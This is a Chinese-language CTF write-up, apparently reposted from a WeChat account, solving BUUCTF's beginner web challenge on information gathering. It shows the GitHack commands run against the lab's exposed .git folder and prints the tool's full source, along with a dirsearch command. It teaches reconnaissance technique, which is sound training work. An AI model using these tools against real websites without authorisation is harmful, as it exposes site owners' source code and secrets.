[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

admin 2024年7月3日08:07:52评论1 views字数 4475阅读14分55秒阅读模式

第一篇文章主要介绍Web方向的基础题目——粗心的小李。该题目主要考察信息收集知识,为了方便大家思考,文章摘要部分尽量少提,大家也可以先尝试实践,再看WriteUp。基础性文章,希望对您有所帮助,尤其是对网络安全工具的使用和理解。

文章目录:

  • 一.BUUCTF注册

  • 二.题目描述

  • 三.解题思路

  • 四.探索

  • 五.总结


一.BUUCTF注册

首先,我们需要注册BUUCTF,该网站如下图所示:

  • https://buuoj.cn/

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

安装过程如下所示,密钥通行证验证跳过即可。

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

成功注册后如下图所示,我们可以在“练习场”开启各种类型的题目。

  • Basic
  • Crypto
  • DASBOOK
  • Misc
  • N1BOOK
  • Pwn
  • Real
  • Reverse
  • Web
  • 加固题

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路


二.题目描述

该题目的具体描述如下:

  • 题目:[第一章 web入门]粗心的小李
  • 方向:信息收集
  • 来源:《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com
  • 描述:看看能不能找到信息吧?

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

接着解锁该题目并开启探索。

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

打开网站如下所示:

  • http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路


三.解题思路

首先,该题目考察的是信息收集。作为初学者,我们第一想法是网站扫描和源码解析,如下图所示:

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

然而,源码并没有东西,并且题目提示是Git泄露信息,因此换种方法。

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

因此,我们尝试利用GitHack工具来捕获git泄露的文件。

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

  • https://github.com/lijiejie/GitHack

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

该工具下载解压如下图所示:

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

接着我们输入CMD打开该目录,并尝试运行该Python代码。

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

输入指定命令:

  • python GitHack.py URL/.git/
  • python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

运行结果如下图所示:

D:...BUUCTFGitHack-master>python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/[+] Download and parse index file ...[+] index.html[OK] index.html

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

最终在本地查看对应的index.html文件即可查看对应的Flag。

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

最终结果如下:

  • n1book{git***fun}

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路


四.探索

此外,读者可以尝试不同的方法,比如说收集特定网页并进行测试,一种方法是直接访问某些页面。

[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

另一种方法是利用某些工具进行网站扫描,比如dirsearch。但非常遗憾,未发现目标,但相关思路值得我们学习。

  • python3 dirsearch.py -u 目标网址-e*

最后,大家可以学习下GitHack的源码,方便大家学会信息采集。关键代码如下:

GitHack.py

#!/usr/bin/env python# -*- encoding: utf-8 -*-
import systry:    # python 2.x    import urllib2    import urlparse    import Queueexcept Exception as e:    # python 3.x    import urllib.request as urllib2    import urllib.parse as urlparse    import queue as Queue
import osimport zlibimport threadingimport reimport timefrom lib.parser import parseimport ssl
context = ssl._create_unverified_context()user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '              'Chrome/99.0.4844.82 Safari/537.36'if len(sys.argv) == 1:    msg = """A `.git` folder disclosure exploit. By LiJieJie
Usage: python GitHack.py http://www.target.com/.git/"""    print(msg)    sys.exit(0)

class Scanner(object):    def __init__(self):        self.base_url = sys.argv[-1]        self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')        print('[+] Download and parse index file ...')        try:            data = self._request_data(sys.argv[-1] + '/index')        except Exception as e:            print('[ERROR] index file download failed: %s' % str(e))            exit(-1)        with open('index', 'wb') as f:            f.write(data)        if not os.path.exists(self.domain):            os.mkdir(self.domain)        self.dest_dir = os.path.abspath(self.domain)        self.queue = Queue.Queue()        for entry in parse('index'):            if "sha1" in entry.keys():                entry_name = entry["name"].strip()                if self.is_valid_name(entry_name):                    self.queue.put((entry["sha1"].strip(), entry_name))                    try:                        print('[+] %s' % entry['name'])                    except Exception as e:                        pass
        self.lock = threading.Lock()        self.thread_count = 10        self.STOP_ME = False
    def is_valid_name(self, entry_name):        if entry_name.find('..') >= 0 or                 entry_name.startswith('/') or                 entry_name.startswith('\') or                 not os.path.abspath(os.path.join(self.domain, entry_name)).startswith(self.dest_dir):            try:                print('[ERROR] Invalid entry name: %s' % entry_name)            except Exception as e:                pass            return False        return True
    @staticmethod    def _request_data(url):        request = urllib2.Request(url, None, {'User-Agent': user_agent})        return urllib2.urlopen(request, context=context).read()
    def _print(self, msg):        self.lock.acquire()        try:            print(msg)        except Exception as e:            pass        self.lock.release()
    def get_back_file(self):        while not self.STOP_ME:            try:                sha1, file_name = self.queue.get(timeout=0.5)            except Exception as e:                break            for i in range(3):                try:                    folder = '/objects/%s/' % sha1[:2]                    data = self._request_data(self.base_url + folder + sha1[2:])                    try:                        data = zlib.decompress(data)                    except:                        self._print('[Error] Fail to decompress %s' % file_name)                    # data = re.sub(r'blob d+�0', '', data)                    try:                        data = re.sub(r'blob d+�0', '', data)                    except Exception as e:                        data = re.sub(b"blob \d+�0", b'', data)                    target_dir = os.path.join(self.domain, os.path.dirname(file_name))                    if target_dir and not os.path.exists(target_dir):                        os.makedirs(target_dir)                    with open(os.path.join(self.domain, file_name), 'wb') as f:                        f.write(data)                    self._print('[OK] %s' % file_name)                    break                except urllib2.HTTPError as e:                    if str(e).find('HTTP Error 404') >= 0:                        self._print('[File not found] %s' % file_name)                        break                except Exception as e:                    self._print('[Error] %s' % str(e))        self.exit_thread()
    def exit_thread(self):        self.lock.acquire()        self.thread_count -= 1        self.lock.release()
    def scan(self):        for i in range(self.thread_count):            t = threading.Thread(target=self.get_back_file)            t.start()
if __name__ == '__main__':    s = Scanner()    s.scan()    try:        while s.thread_count > 0:            time.sleep(0.1)    except KeyboardInterrupt as e:        s.STOP_ME = True        time.sleep(1.0)        print('User Aborted.')


五.总结

写到这里,这篇文章就介绍完毕,基础性文章,希望对您有所帮助。同时建议读者多实践,尝试各种类型的CTF题目。

(By:Eastmount 2024-06-20 夜于火星)

原文始发于微信公众号(娜璋AI安全之家):[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日08:07:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路https://cn-sec.com/archives/2868792.html

发表评论

匿名网友 填写信息